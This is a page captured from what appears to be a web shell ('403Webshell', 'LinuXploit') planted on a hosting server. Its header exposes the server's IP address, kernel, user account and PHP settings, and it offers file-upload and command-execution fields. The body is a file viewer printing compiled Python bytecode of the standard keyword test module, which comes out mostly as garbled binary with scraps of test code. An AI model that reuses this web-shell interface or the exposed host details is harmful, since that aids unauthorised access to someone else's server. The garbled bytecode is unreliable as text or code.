403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_keyword.cpython-36.pyc
3

�w2_��@s�ddlZddlZddlmZddlZddlZddlZddlZddlZddl	Z	ej
d�Zejj
ejje�ddddd�ZdZdZd	Zd
ZGdd�dej�ZGd
d�dej�Zedkr�ej�dS)�N)�supportz
keyword.pyz..�Pythonz
graminit.czkeyword_test.pyzgraminit_test.czminimal_keyword.pyznot_here.txtc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�Test_iskeywordcCs|jtjd��dS)N�True)�
assertTrue�keyword�	iskeyword)�self�r
�6/opt/alt/python36/lib64/python3.6/test/test_keyword.py�test_true_is_a_keywordsz%Test_iskeyword.test_true_is_a_keywordcCs|jtjd��dS)NZTRUE)�assertFalserr)r	r
r
r�$test_uppercase_true_is_not_a_keywordsz3Test_iskeyword.test_uppercase_true_is_not_a_keywordcCs|jtjd��dS)N)r
rr)r	r
r
r� test_none_value_is_not_a_keywordsz/Test_iskeyword.test_none_value_is_not_a_keywordcCs>tj}|jttd|�dddddddgt_|jtjd��dS)	N�kwlistZits�allZeggsZbeans�and�a�slice)rr�
addCleanup�setattrr
r)r	Zoldlistr
r
r�2test_changing_the_kwlist_does_not_affect_iskeyword szATest_iskeyword.test_changing_the_kwlist_does_not_affect_iskeywordN)�__name__�
__module__�__qualname__rrrrr
r
r
rrsrc@sbeZdZdd�Zdd�Zejejj	e
�d�dd��Zdd	�Zd
d�Z
dd
�Zdd�Zdd�ZdS)�TestKeywordGenerationcCs�t|d��}|j�}WdQRX|dt|dj��d�}t|d��B}|j|d|jd|�d��|j||jd|�d��WdQRXdS)N�rbr�wbs#--start keywords--�s#--end keywords--)�open�	readlines�len�strip�
writelines�index)r	Zsource_fileZ	dest_file�fp�lines�nlr
r
r�%_copy_file_without_generated_keywords)s z;TestKeywordGeneration._copy_file_without_generated_keywordscCs0tjtjt||gtjd�}|j�d}|j|fS)N)�stderrr)�
subprocess�Popen�sys�
executable�KEYWORD_FILE�PIPEZcommunicate�
returncode)r	Zgrammar_fileZtarget_keyword_py_file�procr)r
r
r�_generate_keywords1sz(TestKeywordGeneration._generate_keywordsz+test only works from source build directorycCsV|jtt�|jtjt�|jtjtt��|j	d|j
tt��|jtjtt��dS)Nr�)rr3)
r(r.�TEST_PY_FILErr�unlinkr
�filecmp�cmp�assertEqualr2�GRAMMAR_FILEr)r	r
r
r�"test_real_grammar_and_keyword_file9sz8TestKeywordGeneration.test_real_grammar_and_keyword_filecCs�|jtt�|jtjt�ttd��}|jt	j
d��WdQRX|jtjt�|jtt�ddddddd	d
dg	}tt��}|j�j
�}WdQRX|jd�d
}|jd�}|||�}|j||�dS)N�wa�                {2, 1},
                    {11, "encoding_decl", 0, 2, states_79,
                     " "
                     ""},
                    {1, "jello"},
                    {326, 0},
                    {1, "turnip"},
                	{1, "This one is tab indented"
                    {278, 0},
                    {1, "crazy but legal"
                "also legal" {1, "
                    {1, "continue"},
                   {1, "lemon"},
                     {1, "tomato"},
                {1, "wigii"},
                    {1, 'no good'}
                    {283, 0},
                    {1,  "too many spaces"}z#        'This one is tab indented',z        'also legal',z        'continue',z        'crazy but legal',z        'jello',z        'lemon',z        'tomato',z        'turnip',z        'wigii',z#--start keywords--rz#--end keywords--)r(r.r4rrr5r�GRAMMAR_TEST_FILEr#�textwrap�dedentr2�read�
splitlinesr$r8)r	r%Zexpectedr&�start�endZactualr
r
r�test_grammarCs,

z"TestKeywordGeneration.test_grammarcCs`|jtt�|jtjt�tjtt�|jtjt�|j	d|j
tjt��|j
tjtt��dS)Nrr3)rr3)r(r.�PY_FILE_WITHOUT_KEYWORDSrrr5�shutilZcopyfiler4r8r2�os�devnullrr6r7)r	r
r
r�)test_empty_grammar_results_in_no_keywordsosz?TestKeywordGeneration.test_empty_grammar_results_in_no_keywordscCs0|jtjtj�\}}|j|d�|j|d�dS)Nrsdoes not contain format markers)r2rFrG�assertNotEqual�assertRegex)r	�rcr)r
r
r�/test_keywords_py_without_markers_produces_erroryszETestKeywordGeneration.test_keywords_py_without_markers_produces_errorcCs4|jtt�\}}|j|d�|j|dtj��dS)Nrs(?ms))r2�NONEXISTENT_FILEr.rIrJ�encode)r	rKr)r
r
r�(test_missing_grammar_file_produces_error~sz>TestKeywordGeneration.test_missing_grammar_file_produces_errorcCs6|jtjt�\}}|j|d�|j|dtj��dS)Nrs(?ms))r2rFrGrMrIrJrN)r	rKr)r
r
r�,test_missing_keywords_py_file_produces_error�szBTestKeywordGeneration.test_missing_keywords_py_file_produces_errorN)rrrr(r2�unittestZskipIfrF�path�existsr9r:rCrHrLrOrPr
r
r
rr's	,
r�__main__)rrQZtestrr6rFr,r*rEr=Zfindfiler.rR�join�split�__file__r9r4r<rDrMZTestCaserrr�mainr
r
r
r�<module>s&
b

Youez - 2016 - github.com/yon3zu
LinuXploit